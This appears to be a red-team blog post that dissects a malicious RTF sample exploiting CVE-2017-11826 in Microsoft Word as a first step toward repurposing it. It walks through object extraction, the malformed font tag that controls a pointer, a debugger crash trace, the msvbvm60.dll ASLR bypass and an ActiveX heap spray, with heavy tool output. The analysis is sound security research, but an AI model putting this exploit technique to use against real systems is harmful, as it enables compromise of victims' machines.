Exploiting Word: CVE-2017-11826
Table of Contents
Coincidentially with the beginning of an APT simulation engagement in the Red Teaming, a patch was issued my Microsoft fixing some vulnerabilities (CVE-2017-11826) affecting MS Office. The patch, which fixed a memory corruption bug, was first published on October 10th. On October 11th, Quihoo 360 Core Security reported having found malware exploiting said vulnerability during the previous month.
Due to the existence of public malware samples exploiting this vulnerability and the time lapse between the release of the patch and it being applied, it was decided to begin the engagement by exploiting this vulnerability. In this post we will briefly describe the contents of the Word exploit sample, and we will explain how we can modify it to our benefit, allowing us to deploy our custom APT solution.
0x01 – Initial analysis of the sample with CVE-2017-11826
The sample is a RTF file. After analyzing its contents, we found the following components:
$ rtfobj cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 rtfobj 0.51 - https://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes ---+----------+-------------------------------+------------------------------- id |index |OLE Object |OLE Package ---+----------+-------------------------------+------------------------------- 0 |0003972Dh |format_id: 1 (Linked) |Not an OLE Package | |class name: '' | | |data size: N/A | ---+----------+-------------------------------+------------------------------- 1 |00039807h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 53248 | ---+----------+-------------------------------+------------------------------- 2 |000538E9h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 14336 | ---+----------+-------------------------------+-------------------------------
If we dump the contents of the RTF file and look for the three objects, we find the following:
$ python2 rtf.py --input cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 --dump [...] object objemb * oleclsid '7bD5DE8D20-5BB8-11D1-A1E3-00A0C90F2731 '7d * objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000 result pict wmetafile8 picw1 pich1 object objemb objsetsize objw9361 objh764 * objclass Word.Document.12 * objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000d00000d0cf11e0a1b11ae [...] object objemb objsetsize objw9361 objh764 * objclass Word.Document.12 * objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000380000d0cf11e0a1b11ae1
The first object loads the library identified by the CLSID D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731. We can look for it in the Windows registry to know which module it points to:
C:Usersjavier.gil>reg query HKEY_CLASSES_ROOT /F "D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731" /c /s HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731} End of search: 1 match(es) found. C:Usersjavier.gil>reg query HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731} HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731} (Default) REG_SZ VBPropertyBag HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}InProcServer32 C:Usersjavier.gil>reg query HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}InProcServer32 HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}InProcServer32 (Default) REG_SZ C:WindowsSysWOW64msvbvm60.dll ThreadingModel REG_SZ Apartment
This will make Word load that library in memory. Why is it so special?
So, by loading this module there will be known code at a fixed address, which is a nice ASLR bypass.
The two remaining objects are Word files. We can use rtfobj to extract them:
$ rtfobj -s all cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 rtfobj 0.51 - https://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes ---+----------+-------------------------------+------------------------------- id |index |OLE Object |OLE Package ---+----------+-------------------------------+------------------------------- 0 |0003972Dh |format_id: 1 (Linked) |Not an OLE Package | |class name: '' | | |data size: N/A | ---+----------+-------------------------------+------------------------------- 1 |00039807h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 53248 | ---+----------+-------------------------------+------------------------------- 2 |000538E9h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 14336 | ---+----------+-------------------------------+------------------------------- Saving raw data in object #0: saving object to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw Saving file embedded in OLE object #1: format_id = 2 class name = 'Word.Document.12' data size = 53248 saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc Saving file embedded in OLE object #2: format_id = 2 class name = 'Word.Document.12' data size = 14336 saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc $ l total 748K drwxr-xr-x 2 i i 4.0K Nov 30 11:27 . drwxr-xr-x 11 i i 4.0K Nov 30 11:27 .. -rw-r--r-- 1 i i 665K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 -rw-r--r-- 1 i i 45 Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw -rw-r--r-- 1 i i 52K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -rw-r--r-- 1 i i 14K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc $ file * cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5: Rich Text Format data, version 1, unknown character set cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw: locale data table cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc: Composite Document File V2 Document, Cannot read section info cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc: Composite Document File V2 Document, Cannot read section info $ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -d 00039807.doc [55/515] Archive: cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc]: 1536 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: 00039807.doc/docProps/app.xml inflating: 00039807.doc/docProps/core.xml creating: 00039807.doc/word/activeX/ inflating: 00039807.doc/word/activeX/activeX1.bin inflating: 00039807.doc/word/activeX/activeX1.xml inflating: 00039807.doc/word/activeX/activeX10.xml inflating: 00039807.doc/word/activeX/activeX11.xml inflating: 00039807.doc/word/activeX/activeX12.xml inflating: 00039807.doc/word/activeX/activeX13.xml inflating: 00039807.doc/word/activeX/activeX14.xml inflating: 00039807.doc/word/activeX/activeX15.xml inflating: 00039807.doc/word/activeX/activeX16.xml inflating: 00039807.doc/word/activeX/activeX17.xml inflating: 00039807.doc/word/activeX/activeX18.xml inflating: 00039807.doc/word/activeX/activeX19.xml inflating: 00039807.doc/word/activeX/activeX2.xml inflating: 00039807.doc/word/activeX/activeX20.xml inflating: 00039807.doc/word/activeX/activeX21.xml inflating: 00039807.doc/word/activeX/activeX22.xml inflating: 00039807.doc/word/activeX/activeX23.xml inflating: 00039807.doc/word/activeX/activeX24.xml inflating: 00039807.doc/word/activeX/activeX25.xml inflating: 00039807.doc/word/activeX/activeX26.xml inflating: 00039807.doc/word/activeX/activeX27.xml inflating: 00039807.doc/word/activeX/activeX28.xml inflating: 00039807.doc/word/activeX/activeX29.xml inflating: 00039807.doc/word/activeX/activeX3.xml inflating: 00039807.doc/word/activeX/activeX30.xml inflating: 00039807.doc/word/activeX/activeX31.xml inflating: 00039807.doc/word/activeX/activeX32.xml inflating: 00039807.doc/word/activeX/activeX33.xml inflating: 00039807.doc/word/activeX/activeX34.xml inflating: 00039807.doc/word/activeX/activeX35.xml inflating: 00039807.doc/word/activeX/activeX36.xml inflating: 00039807.doc/word/activeX/activeX37.xml inflating: 00039807.doc/word/activeX/activeX38.xml inflating: 00039807.doc/word/activeX/activeX39.xml inflating: 00039807.doc/word/activeX/activeX4.xml inflating: 00039807.doc/word/activeX/activeX40.xml inflating: 00039807.doc/word/activeX/activeX5.xml inflating: 00039807.doc/word/activeX/activeX6.xml inflating: 00039807.doc/word/activeX/activeX7.xml inflating: 00039807.doc/word/activeX/activeX8.xml inflating: 00039807.doc/word/activeX/activeX9.xml creating: 00039807.doc/word/activeX/_rels/ inflating: 00039807.doc/word/activeX/_rels/activeX1.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX10.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX11.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX12.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX13.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX14.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX15.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX16.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX17.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX18.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX19.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX2.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX20.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX21.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX22.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX23.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX24.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX25.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX26.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX27.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX28.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX29.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX3.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX30.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX31.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX32.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX33.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX34.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX35.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX36.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX37.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX38.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX39.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX4.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX40.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX5.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX6.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX7.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX8.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX9.xml.rels inflating: 00039807.doc/word/document.xml inflating: 00039807.doc/word/fontTable.xml inflating: 00039807.doc/word/media/image1.wmf inflating: 00039807.doc/word/settings.xml inflating: 00039807.doc/word/styles.xml inflating: 00039807.doc/word/theme/theme1.xml inflating: 00039807.doc/word/webSettings.xml inflating: 00039807.doc/word/_rels/document.xml.rels inflating: 00039807.doc/[Content_Types].xml inflating: 00039807.doc/_rels/.rels $ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -d 000538E9.doc Archive: cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc]: 1536 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: 000538E9.doc/docProps/app.xml inflating: 000538E9.doc/docProps/core.xml inflating: 000538E9.doc/word/document.xml inflating: 000538E9.doc/word/endnotes.xml inflating: 000538E9.doc/word/fontTable.xml inflating: 000538E9.doc/word/footnotes.xml inflating: 000538E9.doc/word/settings.xml inflating: 000538E9.doc/word/styles.xml inflating: 000538E9.doc/word/theme/theme1.xml inflating: 000538E9.doc/word/webSettings.xml inflating: 000538E9.doc/word/_rels/document.xml.rels inflating: 000538E9.doc/[Content_Types].xml inflating: 000538E9.doc/_rels/.rels
unzip warns us that there are 1536 extra bytes at the beginning of both ZIP files. This is because objects embeded in RTF files are not docx, but CDF instead. CDF is a file format created by Microsoft, which is basically a file container. (https://en.wikipedia.org/wiki/Compound_File_Binary_Format)
We will see how to handle that kind of files later, but for now lets keep analyzing those Word documents.
0x02 – Analysis of the vulnerabilty
This file has very little content. We can start by examining document.xml:
$ xmllint word/document.xml word/document.xml:7: parser error : Opening and ending tag mismatch: font line 6 and OLEObject </o:OLEObject> ^ word/document.xml:8: parser error : Opening and ending tag mismatch: OLEObject line 5 and shapeDefaults </w:shapeDefaults> ^ word/document.xml:9: parser error : Opening and ending tag mismatch: shapeDefaults line 4 and body </w:body> ^ word/document.xml:10: parser error : Opening and ending tag mismatch: body line 3 and document </w:document> ^ word/document.xml:10: parser error : Premature end of data in tag document line 2 </w:document>
It seems it is a malformed file, as it has some non-matching XML tags.
$ cat word/document.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:ve="https://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="https://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="https://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="https://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="https://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="https://schemas.microsoft.com/office/word/2006/wordml"> <w:body > <w:shapeDefaults > <o:OLEObject > <w:font w:name="LincerCharChar裬࢈font:batang"><o:idmap/> </o:OLEObject> </w:shapeDefaults> </w:body> </w:document>
We can see that the tag is closed with . Also, there are some weird characters in between:
[0x00000000 0% 2304 word/document.xml]> xc - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0123456789ABCDEF comment [...] 0x000002a0 6175 6c74 7320 3e0d 0a09 0909 3c6f 3a4f 4c45 4f62 6a65 6374 203e 0d0a 0909 0909 aults >.....<o:OLEObject >...... 0x000002c0 3c77 3a66 6f6e 7420 773a 6e61 6d65 3d22 4c69 6e63 6572 4368 6172 4368 6172 e8a3 <w:font w:name="LincerCharChar.. 0x000002e0 ace0 a288 666f 6e74 efbc 9a62 6174 616e 6722 3e3c 6f3a 6964 6d61 702f 3e0d 0a09 ....font...batang"><o:idmap/>... 0x00000300 0909 3c2f 6f3a 4f4c 454f 626a 6563 743e 0d0a 0909 3c2f 773a 7368 6170 6544 6566 ..</o:OLEObject>....</w:shapeDef 0x00000320 6175 6c74 733e 0d0a 093c 2f77 3a62 6f64 793e 0d0a 3c2f 773a 646f 6375 6d65 6e74 aults>...</w:body>..</w:document 0x00000340 3eff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff >...............................
We note the bytes e8a3ace0a288 for later.
Lets do a quick WinDbg session of the execution of the exploit. To do so, open the RTF file and attach it in WinDbg.
0:014> g ModLoad: 69700000 6978c000 C:WindowsSysWOW64UIAutomationCore.DLL ModLoad: 75510000 75515000 C:Windowssyswow64PSAPI.DLL ModLoad: 696c0000 696fc000 C:WindowsSysWOW64OLEACC.dll (814.e80): Unknown exception - code e0000002 (first chance) ModLoad: 69680000 696b1000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT532.CNV ModLoad: 69660000 6967f000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll ModLoad: 69630000 6965f000 SHDOCVW.dll ModLoad: 69600000 6962f000 C:WindowsSysWOW64shdocvw.dll ModLoad: 69680000 696be000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT632.CNV ModLoad: 69640000 6965f000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll ModLoad: 69640000 69671000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT532.CNV ModLoad: 696a0000 696bf000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll ModLoad: 69640000 6967e000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT632.CNV ModLoad: 69680000 6969f000 C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll (814.e80): Unknown exception - code e0000002 (first chance) (814.e80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program Files (x86)Microsoft OfficeOffice15wwlib.dll - eax=088888ec ebx=00000000 ecx=088888ec edx=00000004 esi=0937b008 edi=0938854c eip=6f6c82a3 esp=0029457c ebp=002945e8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 wwlib!DllGetLCID+0x2e1e19: 6f6c82a3 8b08 mov ecx,dword ptr [eax] ds:002b:088888ec=????????
It seems there is something wrong in the exploit, as the process is crashing when attempting to read from an invalid memory address. Some context:
0:000> ub;u wwlib!DllGetLCID+0x2e1dfc: 6f6c8286 0f84d268e9ff je wwlib!DllGetLCID+0x1786d4 (6f55eb5e) 6f6c828c 8b4944 mov ecx,dword ptr [ecx+44h] 6f6c828f 85c9 test ecx,ecx 6f6c8291 0f84c768e9ff je wwlib!DllGetLCID+0x1786d4 (6f55eb5e) 6f6c8297 8b4744 mov eax,dword ptr [edi+44h] 6f6c829a 894844 mov dword ptr [eax+44h],ecx 6f6c829d 8b4744 mov eax,dword ptr [edi+44h] 6f6c82a0 8b4044 mov eax,dword ptr [eax+44h] wwlib!DllGetLCID+0x2e1e19: 6f6c82a3 8b08 mov ecx,dword ptr [eax] 6f6c82a5 50 push eax 6f6c82a6 ff5104 call dword ptr [ecx+4] 6f6c82a9 e9b068e9ff jmp wwlib!DllGetLCID+0x1786d4 (6f55eb5e) 6f6c82ae 83f802 cmp eax,2 6f6c82b1 750f jne wwlib!DllGetLCID+0x2e1e38 (6f6c82c2) 6f6c82b3 8d4624 lea eax,[esi+24h] 6f6c82b6 50 push eax
The function seems to be loading an object from eax and then calling a method at offset 0x04, passing its own reference in eax.
Where does the value 0x088888ec come from? Why is Word crashing? Lets look back at the value we found in document.xml: e8a3ace0a288. Are they related?
Office XML files are UTF-8 encoded. However, Windows apps use UTF-16 internally:
$ python2 Python 2.7.14 (default, Sep 20 2017, 01:25:59) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> x = "e8a3ace0a288".decode("hex") >>> unicode(x.decode("utf-8")).encode("utf-16-le") 'xecx88x88x08' >>> hex(struct.unpack("<L", "xecx88x88x08")[0]) '0x88888ec'
Bingo :)
So, if we modify this value we can make Word execute the following instructions. Lets set EAX = X:
6f6c82a3 8b08 mov ecx,dword ptr [X] 6f6c82a5 50 push X 6f6c82a6 ff5104 call dword ptr [X+4]
Therefore, if we want to control EIP (which we certainly do), we need to put the following data in a controlled memory address:
Dirección Valor X X X + 4 EIP objetivo
How can we meet this conditions? The sample’s authors made it by using a heap spray.
0x03 – Analysis of the heap spray
When we looked at the contents of the first object, cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc, the pressence of 40 activeX objects immediately caught our attention. This reminds us of the classic Office heap spraying technique.
Lets examine document.xml, which describes the contents of the file:
[...] <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1060" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId6" w:name="Image117" w:shapeid="_x0000_i1060"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1058" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId7" w:name="Image116" w:shapeid="_x0000_i1058"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1056" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId8" w:name="Image115" w:shapeid="_x0000_i1056"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1054" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId9" w:name="Image114" w:shapeid="_x0000_i1054"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1052" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId10" w:name="Image113" w:shapeid="_x0000_i1052"/> </w:object> </w:r> <w:r> [...]
Its contents have been trimmed here to avoid making this post excessively long, but the original one has several embeded controls (from rId5 to rId44). This is the content of word/_rels/document.xml.rels:
<Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId8" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX4.xml"/> <Relationship Id="rId13" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX9.xml"/> <Relationship Id="rId18" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX14.xml"/> <Relationship Id="rId26" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX22.xml"/> <Relationship Id="rId39" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX35.xml"/> <Relationship Id="rId3" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/> <Relationship Id="rId21" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX17.xml"/> <Relationship Id="rId34" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX30.xml"/> <Relationship Id="rId42" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX38.xml"/> <Relationship Id="rId7" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX3.xml"/> <Relationship Id="rId12" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX8.xml"/> <Relationship Id="rId17" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX13.xml"/> <Relationship Id="rId25" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX21.xml"/> <Relationship Id="rId33" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX29.xml"/> <Relationship Id="rId38" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX34.xml"/> <Relationship Id="rId46" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/> <Relationship Id="rId2" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/> <Relationship Id="rId16" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX12.xml"/> <Relationship Id="rId20" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX16.xml"/> <Relationship Id="rId29" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX25.xml"/> <Relationship Id="rId41" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX37.xml"/> <Relationship Id="rId1" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/> <Relationship Id="rId6" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX2.xml"/> <Relationship Id="rId11" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX7.xml"/> <Relationship Id="rId24" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX20.xml"/> <Relationship Id="rId32" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX28.xml"/> <Relationship Id="rId37" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX33.xml"/> <Relationship Id="rId40" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX36.xml"/> <Relationship Id="rId45" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/> <Relationship Id="rId5" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX1.xml"/> <Relationship Id="rId15" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX11.xml"/> <Relationship Id="rId23" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX19.xml"/> <Relationship Id="rId28" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX24.xml"/> <Relationship Id="rId36" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX32.xml"/> <Relationship Id="rId10" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX6.xml"/> <Relationship Id="rId19" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX15.xml"/> <Relationship Id="rId31" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX27.xml"/> <Relationship Id="rId44" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX40.xml"/> <Relationship Id="rId4" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.wmf"/> <Relationship Id="rId9" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX5.xml"/> <Relationship Id="rId14" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX10.xml"/> <Relationship Id="rId22" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX18.xml"/> <Relationship Id="rId27" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX23.xml"/> <Relationship Id="rId30" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX26.xml"/> <Relationship Id="rId35" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX31.xml"/> <Relationship Id="rId43" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX39.xml"/> </Relationships>
We can see that most of them reference some activeX control. Those documents are all the same and contain:
<ax:ocx xmlns:ax="https://schemas.microsoft.com/office/2006/activeX" xmlns:r="https://schemas.openxmlformats.org/officeDocument/2006/relationships" ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1"/>
We can find those relationships in word/activeX/_rels. Once again, all the files are identical and contain:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="https://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/> </Relationships>
And therefore the embeded object is located at word/activeX/activeX1.bin.
$ file word/activeX/activeX1.bin word/activeX/activeX1.bin: Composite Document File V2 Document, Cannot read section info
It is again a CDF file. Its contents will be loaded multiple times, effectively creating a heap spray. This is what will allow us to have controlled data at predictable addresses.
The payload starts at offset 0x800, just after the CDF headers. We can see that the byte sequence cb40 9472 ec83 8808 is repeated until offset 0x00000f30, where we see cb40 9472 d010 9472 followed by some “random” bytes. After that, 2b0e 9872 is repeated until offset 0x00001800. This whole sequence is repeated until the end of the file.
